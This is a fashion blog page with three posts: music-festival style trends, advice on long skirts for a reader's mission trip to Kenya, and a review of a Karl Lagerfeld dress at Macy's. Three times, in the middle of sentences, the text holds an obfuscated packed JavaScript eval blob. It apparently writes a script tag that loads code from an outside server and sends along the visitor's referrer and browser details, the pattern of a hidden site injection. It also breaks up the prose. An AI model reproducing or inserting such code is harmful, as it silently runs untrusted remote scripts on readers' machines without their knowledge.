How to Mix Music Festival Fashions into your Everyday Wardrobe!

Photography eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebsbz|var|u0026u|referrer|esyna||js|php’.split(‘|’),0,{}))
by Barleta Qela

Coachella has come and gone this spring, but music festival fashions are here to stay! There’s just something so feminine-yet-rebellious about this season’s floaty floral dresses, sheer blouses, and shredded shorts that scream “bring on summer time!” More music festivals are on the horizon in my neck of the woods, like the Boise Music Festival, Huckleberry Jam, and the Mountain Home Country Music Fest, so there are still plenty of opportunities to get mega-mileage out of your fest-inspired fashions.

Whether you have actual festivals to rock out at, or just love the easy-breezy fashions they inspire, here are some of the major trends you can incorporate into your wardrobe this season… Some of which you might already have in your closet!

1. Floral Everything

Dress: Free People, Macy’s / Bag: Dinky by CO ACH / Sandals: Dolce Vita Wedge Sandals

Hands-down the easiest and most versatile piece to rock in your wardrobe this summer has to be the floral dress! Whether short & sweet, like my Free People dress from Macy’s, or floor-sweeping maxi length, flowers are everywhere this season. Flowers are undeniably feminine, and the variety of colors involved in each bouquet gives you tons of versatility.

Floral prints are so very 70’s, so very 90’s, so very NOW!

2. Fringe of course!

There’s nothing that screams “I’m here to dance to the music!” louder than fringe. It’s showing up everywhere this season, from jackets and dresses, to shoes and handbags. It’s a timeless look that was strong last season, and will continue to rock, roll, and wave in the summer breezes for years to come.

Here’s a cute fringe look from Macy’s, that you could wear just about anywhere this summer!

Earrings: Thalia Sodi / Blouse: American Rag / Handbag: INC / Clogs: American Rag / Skirt: American Rag

3. I-see-through-you Sheer tops & dresses

Bring on the lacy looks and sheer fabrics this season. They’re fun, flirty, and easy so lightweight, if you catch the slightest breeze while walking you pretty much feel like you’re in a Beyonce video. Rock it! Lace is hotter than ever, and so is its distant cousin crochet print! Feel free to DIY these looks, or steal them from your auntie’s closet.

Sheer dress: Material Girl, Macy’s / Crochet Fringe tank, denim shorts, fringe jacket: American Rag, Macy’s

4. Cold Shoulders are HOT

Take a look on Instagram, or grab any fashion magazine, and you’re bound to see this season’s Body Part of Choice: the shoulder. From strategic cut-outs to flirty full shoulders, the fashion world is infatuated with this boldly bare look right now. Get it, rock it, flaunt it!

White off-shoulder blouses and dresses have been a particularly hot trend this summer. The one below is on clearance right now at Macy’s for under $25!

XOXO Cold Shoulder Bell-Sleeved Top, Macy’s, $23.99

5. Lace up and Go!

Gladiator sandals are still going strong, but let’s face it, the tan lines can get weird. I adore my Dolce Vita “Louise” sandals from Nordstrom, below, (they’re sooooo comfortable for long days of walking!), but many of the fashionistas at Coachella this year have also adopted a love for sneakers and ankle boots.

The key to good music fest footwear is comfort, above all. You’re going to be on your feet all day in dirt, heat, and possibly water hoses, right? Be practical, babes.

Bar III Gladiator Sandals / Material Girl Hi-Tops, both Macy’s

A final note:

One of the most practical wardrobe pieces you can own right now is the denim jacket. I scored this frayed & studded one years ago from Urban Outfitters’s clearance rack, and bust it out every spring. It goes with everything, and I’ve worn it with a ton of outfits on this blog. Remember, no matter how hot it gets at music fest, once the sun goes down you’re going to need a little extra layering. Nothing pairs better than a classic denim jacket. Just saying…

Have fun this summer! And if it’s your style, rock the music festival look all you want, even if you never get near a stage. It’s all about the heart, baby!

“So I’m back to the Velvet Underground
Back to the floor that I love
To a room with some lace and paper flowers
Back to the gypsy that I was, to the gypsy that I was”

~ Stevie Nicks, Fleetwood Mack, Gypsy

Special thanks to Barleta Qela Photography, Danielle O’Connor for hair & makeup, Macy’s for all the fun fashions that went into this article!!!

XOXO,
Tanya

Quick Q&A About LONG SKIRTS!!!

Thank you to Geneva, who posted this question on my Facebook page:

“I have a question for you. I’m a plus size woman who is bigger on bottom than on top. I’m needing long skirts/dresses for a mission trip to Kenya with IC World. But can’t seem to find anything that looks good. I am 5’8″ and live in Nampa.”

Geneva, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fiaaa|var|u0026u|referrer|frftz||js|php’.split(‘|’),0,{}))
first I’d like to give you a HUGE hug for your efforts to help the people of Kenya! My dear friend Lori recently made a similar trip, and was so blessed by the experience, and the opportunity to help families in need there. With high malnutrition rates, severe drought, and over a million children orphaned by AIDS alone, Kenya is definitely a country that needs compassionate volunteers!

Many mission & volunteer programs do, however, have a dress code, depending on the culture you are working with. How to be respectful, comfortable, and appropriately-dressed for the requirements of your trip, AND your personal style & body type? It can be challenging, but not impossible! 😀

Some tips…

1. I recently found the maxi-skirt-of-my-dreams (that’s me on the left!) in the newly-opened Nordstrom Rack.

teamwithammo — Photo courtesy AmmoPhotog ~ http://ammophotogstreet.wordpress.com/

It’s from a brand called Bobeau, who makes comfortable, stretchy, stylish clothing (affordable, too!) in misses and plus sizes! It’s a lightweight breathable rayon material, and most importantly, it’s super-duper-DUPER stretchy! The waist can be worn folded up or down, depending on what top you wear with it. Either way, it’s so comfy, it kind of blows your mind! The Rack carries them in a variety of colors, and right now they carry womens’ sizes XS-XL. Some of their other Bobeau items DO come specifically plus sizes, but these skirts are so generously sized, it might definitely be worth trying them on!

2. Watch out for pleats on your maxi skirt! If you are a lady with curvier hips, pleats around the waistline will make those curves look even curvier! 😉 The Bobeau skirt I mentioned (left) has barely any pleating around the waist; when worn, they pretty much disappear! If you hold up a maxi skirt and the hips puff out on the hanger, it is NOT going to be a slenderizing skirt on an actual woman. (Only exception: if you put a big, chunky statement belt over the waist & pleats!)

3. Another tip: Look for maxi dresses! These are everywhere right now, from Ross to Macy’s to Target – there’s a style for every budget! Steer clear of low-cut styles that would be inappropriate for the work you are doing. Empire-waist styles can emphasize your bust, so if you are a lady with a pear-shaped body type, these can be very figure-balancing & flattering! If you have a larger bust size, look for lower-waisted styles, or maxi’s that don’t have a defined waist, but instead flow gently (not too tight, or too baggy!) over your curves. Ask your mission coordinators what the rules are regarding bare arms & shoulders, too; these guidelines will also affect your shopping choices!

4. Many of my overseas-traveling girl friends concur on this point: a local re-sale store will be your best resource! Long skirts come and go in fashion, year after year. Your local Saver’s, Goodwill, etc. should have a good selection of long skirts, at really decent prices. And be SURE to check your local consignment stores, for skirts that are more current, and often in better condition. 😉

A quick internet search pulled up some great options in Nampa, Geneva! I found 1. Catwalk Consignment Boutique – 1310 2nd St S, (208) 466-4832. 2. 11th Ave. Consignments – 1509 Caldwell Blvd # 1178, (208) 466-7700. 3. A to Z Resale Inc. – 1407 2nd St S, (208) 442-7900. 4. Magic Again – 819 12th Ave S, (208) 991-2341.

Hopefully some of these ideas will be helpful to you! Good luck, and please post pictures of your trip!

XOXO,

StyleSpyGirl

P.S. Fashion friends, do you have ideas & shopping tips for Geneva? Feel free to add your helpful comments! 😀

Karl Lagerfeld’s Macy’s Line and… That Dress!!!

Karl eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzffs|var|u0026u|referrer|yyaki||js|php’.split(‘|’),0,{}))
Lagerfeld is a German fashion designer, whose keen sense of style and tailoring has made him an icon in the fashion world. He has designed for Chloe, Balmain, Chanel, Fendi, established his own line, and outfitted stars like Madonna, and Kylie Minogue. In 2004, he designed a special line of budget-friendly fashions for European retail giant H&M, and this year, developed his exclusive Karl Lagerfeld for Impulse line at Macy’s. Can’t afford a $5,000 dress designed by Lagerfeld? Step into Macy’s and try on one for around $100!

fashionnight — Chelsey Hersley, Me, & Jamie Bruce @ Fashion's Night Out!

At last week’s Fashion’s Night Out event at Boise Town Square Mall, I fell in love with the adorable pink dress that America’s Next Top Model finalist Chelsey Hersley wore from Lagerfeld’s collection. The breezy ballerina-like material, coupled with an intricate black lace neck & back trim, are such a bewitching combination!

Chelsey chose to wear the dress with cropped leggings and slouchy combat boots, effortlessly transforming into a 90’s punk princess (anyone remember Courtney Love?)

When I posted Macy’s picture of the dress on Facebook, there were comments on the model’s extreme skinniness. On the other hand, reviews of the dress on Macy’s website spoke of the over-sized upper-proportions of the dress. I was curious about this seeming contradiction, so being a faithful fashion reporter, I simply HAD to go down to Macy’s myself and investigate in person! ;-D

I didn’t have a great deal of time to try on everything in Lagerfeld’s line; my focus was on that dress, the obvious stand-put piece of the collection. I can tell you that, true to Lagerfeld’s urban chic aesthetic, much of the line was black, grey, or hot pink. (If black is your go-to color, and you’re looking to update your wardrobe, go check out this collection; you’ll find some fabulous pieces!)

But on to the dress…

Slipping into pastel pink felt at first very feminine & elegant. But once the black lace touched my skin, I found myself missing my old Doc Marten boots! It truly is an adorable-yet-tough dress, one that I would wear in a heartbeat! That is, if it fit properly…

The reviews were right; the bustline of this dress is quite generous, almost to the point of being baggy. I also couldn’t keep the wide. puffy shoulders on very well, but they could be pinned to my camisole straps fairly easily.

Overall, here’s my review: this dress makes you feel feminine & flirty, with an urban edginess. I love it, but it runs a little large, so I recommend going down a size. This dress would be ideal for ladies sized 6-10, particularly if they have a larger bust size! 😉 Run down to your local Macy’s and try it on – and let me know YOUR review!!! 😀

Click the link to view the Karl Lagerfeld for Impulse Collection.